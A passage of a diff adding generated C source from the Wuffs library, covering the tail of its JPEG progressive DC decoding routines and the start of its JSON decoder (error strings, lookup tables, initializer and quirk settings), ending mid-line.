uint8_t* o_0_iop_v_r = iop_v_r; ++ const uint8_t* o_0_io0_v_r = io0_v_r; ++ const uint8_t* o_0_io1_v_r = io1_v_r; ++ const uint8_t* o_0_io2_v_r = io2_v_r; ++ v_r = wuffs_private_impl__io_reader__set( ++ &u_r, ++ &iop_v_r, ++ &io0_v_r, ++ &io1_v_r, ++ &io2_v_r, ++ wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, ++ self->private_impl.f_bitstream_ri, ++ self->private_impl.f_bitstream_wi), ++ ((uint64_t)(self->private_impl.f_bitstream_ri))); ++ do { ++ while (self->private_impl.f_mcu_current_block < self->private_impl.f_mcu_num_blocks) { ++ if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { ++ v_ret = 1u; ++ goto label__goto_done__break; ++ } ++ do { ++ if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { ++ v_ret = 2u; ++ goto label__goto_done__break; ++ } ++ v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); ++ iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); ++ v_n_bits |= 56u; ++ v_dc_h = self->private_impl.f_mcu_blocks_dc_hselector[self->private_impl.f_mcu_current_block]; ++ v_dc_ht_fast = ((uint32_t)(self->private_impl.f_huff_tables_fast[v_dc_h][(v_bits >> 56u)])); ++ v_dc_bl = (v_dc_ht_fast >> 8u); ++ if (v_n_bits >= v_dc_bl) { ++ v_dc_symbol = (15u & v_dc_ht_fast); ++ v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; ++ v_bits <<= (v_dc_bl & 63u); ++ v_n_bits -= v_dc_bl; ++ } else { ++ v_dc_code = ((uint32_t)((v_bits >> 55u))); ++ v_dc_blm1 = 8u; ++ v_bits <<= 9u; ++ v_n_bits -= 9u; ++ while (true) { ++ v_dc_ht_slow = self->private_impl.f_huff_tables_slow[v_dc_h][v_dc_blm1]; ++ if (v_dc_code < (v_dc_ht_slow >> 8u)) { ++ v_dc_symbol = (15u & ((uint32_t)(self->private_impl.f_huff_tables_symbols[v_dc_h][(255u & ((uint32_t)(v_dc_code + v_dc_ht_slow)))]))); ++ v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; ++ break; ++ } ++ v_dc_code = (((uint32_t)(v_dc_code << 1u)) | ((uint32_t)((v_bits >> 63u)))); ++ v_bits <<= 1u; ++ v_n_bits -= 1u; ++ v_dc_blm1 = ((v_dc_blm1 + 1u) & 15u); ++ if (v_dc_blm1 == 0u) { ++ v_dc_symbol = 0u; ++ v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; ++ break; ++ } ++ } ++ } ++ v_dc_value = ((uint16_t)(((v_bits >> 32u) >> (32u - v_dc_symbol)))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_dc_value += ((uint16_t)(v_dc_extend & ((uint16_t)(((uint16_t)(wuffs_base__utility__sign_extend_rshift_u64(v_bits, 63u))) ^ 65535u)))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ v_bits <<= v_dc_symbol; ++ v_n_bits -= v_dc_symbol; ++ v_csel = self->private_impl.f_scan_comps_cselector[self->private_impl.f_mcu_blocks_sselector[self->private_impl.f_mcu_current_block]]; ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ self->private_impl.f_mcu_previous_dc_values[v_csel] += v_dc_value; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ self->private_data.f_mcu_blocks[self->private_impl.f_mcu_current_block][0u] = ((uint16_t)(self->private_impl.f_mcu_previous_dc_values[v_csel] << self->private_impl.f_scan_al)); ++ } while (0); ++ self->private_impl.f_mcu_current_block += 1u; ++ } ++ self->private_impl.f_mcu_current_block = 0u; ++ } while (0); ++ label__goto_done__break:; ++ v_pos = ((uint32_t)(wuffs_base__u64__sat_add((v_r ? v_r->meta.pos : 0), ((uint64_t)(iop_v_r - io0_v_r))))); ++ if (v_pos > self->private_impl.f_bitstream_wi) { ++ v_ret = 2u; ++ } else { ++ self->private_impl.f_bitstream_ri = v_pos; ++ } ++ v_r = o_0_v_r; ++ iop_v_r = o_0_iop_v_r; ++ io0_v_r = o_0_io0_v_r; ++ io1_v_r = o_0_io1_v_r; ++ io2_v_r = o_0_io2_v_r; ++ } ++ self->private_impl.f_bitstream_bits = v_bits; ++ self->private_impl.f_bitstream_n_bits = v_n_bits; ++ return v_ret; ++} ++ ++// -------- func jpeg.decoder.decode_mcu_progressive_dc_low_bit ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint32_t ++wuffs_jpeg__decoder__decode_mcu_progressive_dc_low_bit( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_mx, ++ uint32_t a_my) { ++ uint32_t v_ret = 0; ++ uint64_t v_bits = 0; ++ uint32_t v_n_bits = 0; ++ uint16_t v_one_lshift_scan_al = 0; ++ wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); ++ wuffs_base__io_buffer* v_r = &u_r; ++ const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint32_t v_pos = 0; ++ ++ v_bits = self->private_impl.f_bitstream_bits; ++ v_n_bits = self->private_impl.f_bitstream_n_bits; ++ v_one_lshift_scan_al = ((uint16_t)(((uint16_t)(1u)) << self->private_impl.f_scan_al)); ++ if (self->private_impl.f_bitstream_ri > self->private_impl.f_bitstream_wi) { ++ return 2u; ++ } ++ { ++ wuffs_base__io_buffer* o_0_v_r = v_r; ++ const uint8_t* o_0_iop_v_r = iop_v_r; ++ const uint8_t* o_0_io0_v_r = io0_v_r; ++ const uint8_t* o_0_io1_v_r = io1_v_r; ++ const uint8_t* o_0_io2_v_r = io2_v_r; ++ v_r = wuffs_private_impl__io_reader__set( ++ &u_r, ++ &iop_v_r, ++ &io0_v_r, ++ &io1_v_r, ++ &io2_v_r, ++ wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, ++ self->private_impl.f_bitstream_ri, ++ self->private_impl.f_bitstream_wi), ++ ((uint64_t)(self->private_impl.f_bitstream_ri))); ++ do { ++ while (self->private_impl.f_mcu_current_block < self->private_impl.f_mcu_num_blocks) { ++ if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { ++ v_ret = 1u; ++ goto label__goto_done__break; ++ } ++ do { ++ if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { ++ v_ret = 2u; ++ goto label__goto_done__break; ++ } ++ v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); ++ iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); ++ v_n_bits |= 56u; ++ if ((v_bits >> 63u) != 0u) { ++ self->private_data.f_mcu_blocks[self->private_impl.f_mcu_current_block][0u] |= v_one_lshift_scan_al; ++ } ++ v_bits <<= 1u; ++ v_n_bits -= 1u; ++ } while (0); ++ self->private_impl.f_mcu_current_block += 1u; ++ } ++ self->private_impl.f_mcu_current_block = 0u; ++ } while (0); ++ label__goto_done__break:; ++ v_pos = ((uint32_t)(wuffs_base__u64__sat_add((v_r ? v_r->meta.pos : 0), ((uint64_t)(iop_v_r - io0_v_r))))); ++ if (v_pos > self->private_impl.f_bitstream_wi) { ++ v_ret = 2u; ++ } else { ++ self->private_impl.f_bitstream_ri = v_pos; ++ } ++ v_r = o_0_v_r; ++ iop_v_r = o_0_iop_v_r; ++ io0_v_r = o_0_io0_v_r; ++ io1_v_r = o_0_io1_v_r; ++ io2_v_r = o_0_io2_v_r; ++ } ++ self->private_impl.f_bitstream_bits = v_bits; ++ self->private_impl.f_bitstream_n_bits = v_n_bits; ++ return v_ret; ++} ++ ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__JPEG) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__JSON) ++ ++// ---------------- Status Codes Implementations ++ ++const char wuffs_json__error__bad_c0_control_code[] = "#json: bad C0 control code"; ++const char wuffs_json__error__bad_utf_8[] = "#json: bad UTF-8"; ++const char wuffs_json__error__bad_backslash_escape[] = "#json: bad backslash-escape"; ++const char wuffs_json__error__bad_input[] = "#json: bad input"; ++const char wuffs_json__error__bad_new_line_in_a_string[] = "#json: bad new-line in a string"; ++const char wuffs_json__error__bad_quirk_combination[] = "#json: bad quirk combination"; ++const char wuffs_json__error__unsupported_number_length[] = "#json: unsupported number length"; ++const char wuffs_json__error__unsupported_recursion_depth[] = "#json: unsupported recursion depth"; ++const char wuffs_json__error__internal_error_inconsistent_i_o[] = "#json: internal error: inconsistent I/O"; ++ ++// ---------------- Private Consts ++ ++#define WUFFS_JSON__DECODER_NUMBER_LENGTH_MAX_INCL 99u ++ ++static const uint8_t ++WUFFS_JSON__LUT_BACKSLASHES[256] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 3u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 162u, 0u, 0u, 0u, 0u, 5u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 175u, ++ 7u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 4u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 220u, 0u, 0u, 0u, ++ 0u, 1u, 136u, 0u, 0u, 2u, 140u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 138u, 0u, ++ 0u, 0u, 141u, 0u, 137u, 0u, 6u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++}; ++ ++static const uint8_t ++WUFFS_JSON__LUT_QUIRKY_BACKSLASHES_QUIRKS[8] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 1u, 3u, 4u, 5u, 6u, 7u, 10u, ++}; ++ ++static const uint8_t ++WUFFS_JSON__LUT_QUIRKY_BACKSLASHES_CHARS[8] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 7u, 27u, 10u, 63u, 39u, 11u, 0u, ++}; ++ ++static const uint8_t ++WUFFS_JSON__LUT_CHARS[256] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 128u, 129u, 130u, 131u, 132u, 133u, 134u, 135u, ++ 136u, 137u, 138u, 139u, 140u, 141u, 142u, 143u, ++ 144u, 145u, 146u, 147u, 148u, 149u, 150u, 151u, ++ 152u, 153u, 154u, 155u, 156u, 157u, 158u, 159u, ++ 0u, 0u, 1u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 2u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 16u, 16u, 16u, 16u, 16u, 16u, 16u, 16u, ++ 16u, 16u, 16u, 16u, 16u, 16u, 16u, 16u, ++ 16u, 16u, 16u, 16u, 16u, 16u, 16u, 16u, ++ 16u, 16u, 16u, 16u, 16u, 16u, 16u, 16u, ++ 16u, 16u, 16u, 16u, 16u, 16u, 16u, 16u, ++ 16u, 16u, 16u, 16u, 16u, 16u, 16u, 16u, ++ 16u, 16u, 16u, 16u, 16u, 16u, 16u, 16u, ++ 16u, 16u, 16u, 16u, 16u, 16u, 16u, 16u, ++ 32u, 32u, 3u, 3u, 3u, 3u, 3u, 3u, ++ 3u, 3u, 3u, 3u, 3u, 3u, 3u, 3u, ++ 3u, 3u, 3u, 3u, 3u, 3u, 3u, 3u, ++ 3u, 3u, 3u, 3u, 3u, 3u, 3u, 3u, ++ 4u, 4u, 4u, 4u, 4u, 4u, 4u, 4u, ++ 4u, 4u, 4u, 4u, 4u, 4u, 4u, 4u, ++ 5u, 5u, 5u, 5u, 5u, 32u, 32u, 32u, ++ 32u, 32u, 32u, 32u, 32u, 32u, 32u, 32u, ++}; ++ ++#define WUFFS_JSON__CLASS_WHITESPACE 0u ++ ++#define WUFFS_JSON__CLASS_STRING 1u ++ ++#define WUFFS_JSON__CLASS_COMMA 2u ++ ++#define WUFFS_JSON__CLASS_COLON 3u ++ ++#define WUFFS_JSON__CLASS_NUMBER 4u ++ ++#define WUFFS_JSON__CLASS_OPEN_CURLY_BRACE 5u ++ ++#define WUFFS_JSON__CLASS_CLOSE_CURLY_BRACE 6u ++ ++#define WUFFS_JSON__CLASS_OPEN_SQUARE_BRACKET 7u ++ ++#define WUFFS_JSON__CLASS_CLOSE_SQUARE_BRACKET 8u ++ ++#define WUFFS_JSON__CLASS_FALSE 9u ++ ++#define WUFFS_JSON__CLASS_TRUE 10u ++ ++#define WUFFS_JSON__CLASS_NULL_NAN_INF 11u ++ ++#define WUFFS_JSON__CLASS_COMMENT 12u ++ ++#define WUFFS_JSON__EXPECT_VALUE 7858u ++ ++#define WUFFS_JSON__EXPECT_NON_STRING_VALUE 7856u ++ ++#define WUFFS_JSON__EXPECT_STRING 4098u ++ ++#define WUFFS_JSON__EXPECT_COMMA 4100u ++ ++#define WUFFS_JSON__EXPECT_COLON 4104u ++ ++#define WUFFS_JSON__EXPECT_NUMBER 4112u ++ ++#define WUFFS_JSON__EXPECT_CLOSE_CURLY_BRACE 4160u ++ ++#define WUFFS_JSON__EXPECT_CLOSE_SQUARE_BRACKET 4352u ++ ++static const uint8_t ++WUFFS_JSON__LUT_CLASSES[256] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 0u, 0u, 15u, 15u, 0u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 0u, 15u, 1u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 11u, 2u, 4u, 15u, 12u, ++ 4u, 4u, 4u, 4u, 4u, 4u, 4u, 4u, ++ 4u, 4u, 3u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 11u, 15u, 15u, 15u, 15u, 11u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 7u, 15u, 8u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 9u, 15u, ++ 15u, 11u, 15u, 15u, 15u, 15u, 11u, 15u, ++ 15u, 15u, 15u, 15u, 10u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 5u, 15u, 6u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++ 15u, 15u, 15u, 15u, 15u, 15u, 15u, 15u, ++}; ++ ++static const uint8_t ++WUFFS_JSON__LUT_DECIMAL_DIGITS[256] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 128u, 129u, 130u, 131u, 132u, 133u, 134u, 135u, ++ 136u, 137u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++}; ++ ++static const uint8_t ++WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[256] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 128u, 129u, 130u, 131u, 132u, 133u, 134u, 135u, ++ 136u, 137u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 138u, 139u, 140u, 141u, 142u, 143u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 138u, 139u, 140u, 141u, 142u, 143u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++}; ++ ++#define WUFFS_JSON__QUIRKS_BASE 1225364480u ++ ++#define WUFFS_JSON__QUIRKS_COUNT 21u ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint32_t ++wuffs_json__decoder__decode_number( ++ wuffs_json__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint32_t ++wuffs_json__decoder__decode_digits( ++ wuffs_json__decoder* self, ++ wuffs_base__io_buffer* a_src, ++ uint32_t a_n); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_json__decoder__decode_leading( ++ wuffs_json__decoder* self, ++ wuffs_base__token_buffer* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_json__decoder__decode_comment( ++ wuffs_json__decoder* self, ++ wuffs_base__token_buffer* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_json__decoder__decode_inf_nan( ++ wuffs_json__decoder* self, ++ wuffs_base__token_buffer* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_json__decoder__decode_trailer( ++ wuffs_json__decoder* self, ++ wuffs_base__token_buffer* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++// ---------------- VTables ++ ++const wuffs_base__token_decoder__func_ptrs ++wuffs_json__decoder__func_ptrs_for__wuffs_base__token_decoder = { ++ (wuffs_base__status(*)(void*, ++ wuffs_base__token_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__slice_u8))(&wuffs_json__decoder__decode_tokens), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_json__decoder__get_quirk), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_json__decoder__set_quirk), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_json__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_json__decoder__initialize( ++ wuffs_json__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ } ++ ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ } ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ } ++ } ++ ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__token_decoder.vtable_name = ++ wuffs_base__token_decoder__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__token_decoder.function_pointers = ++ (const void*)(&wuffs_json__decoder__func_ptrs_for__wuffs_base__token_decoder); ++ return wuffs_base__make_status(NULL); ++} ++ ++wuffs_json__decoder* ++wuffs_json__decoder__alloc(void) { ++ wuffs_json__decoder* x = ++ (wuffs_json__decoder*)(calloc(1, sizeof(wuffs_json__decoder))); ++ if (!x) { ++ return NULL; ++ } ++ if (wuffs_json__decoder__initialize( ++ x, sizeof(wuffs_json__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; ++ } ++ return x; ++} ++ ++size_t ++sizeof__wuffs_json__decoder(void) { ++ return sizeof(wuffs_json__decoder); ++} ++ ++// ---------------- Function Implementations ++ ++// -------- func json.decoder.get_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_json__decoder__get_quirk( ++ const wuffs_json__decoder* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ uint32_t v_key = 0; ++ ++ if (a_key >= 1225364480u) { ++ v_key = (a_key - 1225364480u); ++ if (v_key < 21u) { ++ if (self->private_impl.f_quirks[v_key]) { ++ return 1u; ++ } ++ } ++ } ++ return 0u; ++} ++ ++// -------- func json.decoder.set_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_json__decoder__set_quirk( ++ wuffs_json__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ if (a_key >= 1225364480u) { ++ a_key -= 1225364480u; ++ if (a_key < 21u) { ++ self->private_impl.f_quirks[a_key] = (a_value > 0u); ++ return wuffs_base__make_status(NULL); ++ } ++ } ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++} ++ ++// -------- func json.decoder.workbuf_len ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_json__decoder__workbuf_len( ++ const wuffs_json__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ ++ return wuffs_base__utility__empty_range_ii_u64(); ++} ++ ++// -------- func 